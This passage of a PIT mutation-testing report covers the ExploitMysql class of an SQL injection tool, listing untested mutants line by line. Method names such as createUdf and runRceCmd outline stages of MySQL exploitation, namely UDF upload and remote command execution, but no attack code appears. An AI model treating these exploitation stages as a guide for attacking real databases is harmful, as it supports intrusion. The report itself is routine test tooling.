removed call to java/lang/Thread::interrupt → NO_COVERAGE

124

1.1
Location : lambda$createUpload$3
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::lambda$createUpload$3 → NO_COVERAGE

142

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

143

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE

156

1.1
Location : lambda$create$4
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE

2.2
Location : lambda$create$4
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::lambda$create$4 → NO_COVERAGE

162

1.1
Location : create
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

165

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

166

1.1
Location : create
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyToShare → NO_COVERAGE

174

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : create
Killed by : none
negated conditional → NO_COVERAGE

183

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : create
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : create
Killed by : none
negated conditional → NO_COVERAGE

185

1.1
Location : create
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE

189

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

194

1.1
Location : create
Killed by : none
negated conditional → NO_COVERAGE

196

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE

201

1.1
Location : create
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::create → NO_COVERAGE

207

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

211

1.1
Location : createUdf
Killed by : none
Replaced integer subtraction with addition → NO_COVERAGE

213

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

220

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

224

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

228

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

229

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

232

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::copyLibraryToShare → NO_COVERAGE

240

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

241

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

252

1.1
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

3.3
Location : createUdf
Killed by : none
negated conditional → NO_COVERAGE

254

1.1
Location : createUdf
Killed by : none
removed call to com/jsql/model/accessible/vendor/ExploitMysql::byTable → NO_COVERAGE

261

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

264

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

266

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

267

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

269

1.1
Location : getNameLibrary
Killed by : none
negated conditional → NO_COVERAGE

271

1.1
Location : getNameLibrary
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getNameLibrary → NO_COVERAGE

291

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

294

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

303

1.1
Location : byQueryBody
Killed by : none
negated conditional → NO_COVERAGE

307

1.1
Location : byQueryBody
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byQueryBody → NO_COVERAGE

329

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

332

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

341

1.1
Location : byNetshare
Killed by : none
negated conditional → NO_COVERAGE

345

1.1
Location : byNetshare
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::byNetshare → NO_COVERAGE

362

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

2.2
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

372

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

380

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

385

1.1
Location : byTable
Killed by : none
negated conditional → NO_COVERAGE

398

1.1
Location : byTable
Killed by : none
Changed increment from 1 to -1 → NO_COVERAGE

409

1.1
Location : getCountTable
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE

415

1.1
Location : getCountTable
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::getCountTable → NO_COVERAGE

426

1.1
Location : buildSysEval
Killed by : none
negated conditional → NO_COVERAGE

428

1.1
Location : buildSysEval
Killed by : none
replaced boolean return with true for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE

433

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

434

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

435

1.1
Location : buildSysEval
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

436

1.1
Location : buildSysEval
Killed by : none
replaced boolean return with false for com/jsql/model/accessible/vendor/ExploitMysql::buildSysEval → NO_COVERAGE

450

1.1
Location : confirm
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::confirm → NO_COVERAGE

474

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/bean/util/Request::setMessage → NO_COVERAGE

475

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/bean/util/Request::setParameters → NO_COVERAGE

476

1.1
Location : runRceCmd
Killed by : none
removed call to com/jsql/model/InjectionModel::sendToViews → NO_COVERAGE

477

1.1
Location : runRceCmd
Killed by : none
replaced return value with "" for com/jsql/model/accessible/vendor/ExploitMysql::runRceCmd → NO_COVERAGE

486

1.1
Location : toHexChunks
Killed by : none
replaced return value with Collections.emptyList for com/jsql/model/accessible/vendor/ExploitMysql::toHexChunks → NO_COVERAGE

493

1.1
Location : getModelYaml
Killed by : none
replaced return value with null for com/jsql/model/accessible/vendor/ExploitMysql::getModelYaml → NO_COVERAGE

Active mutators

Tests examined


Report generated by PIT 1.19.1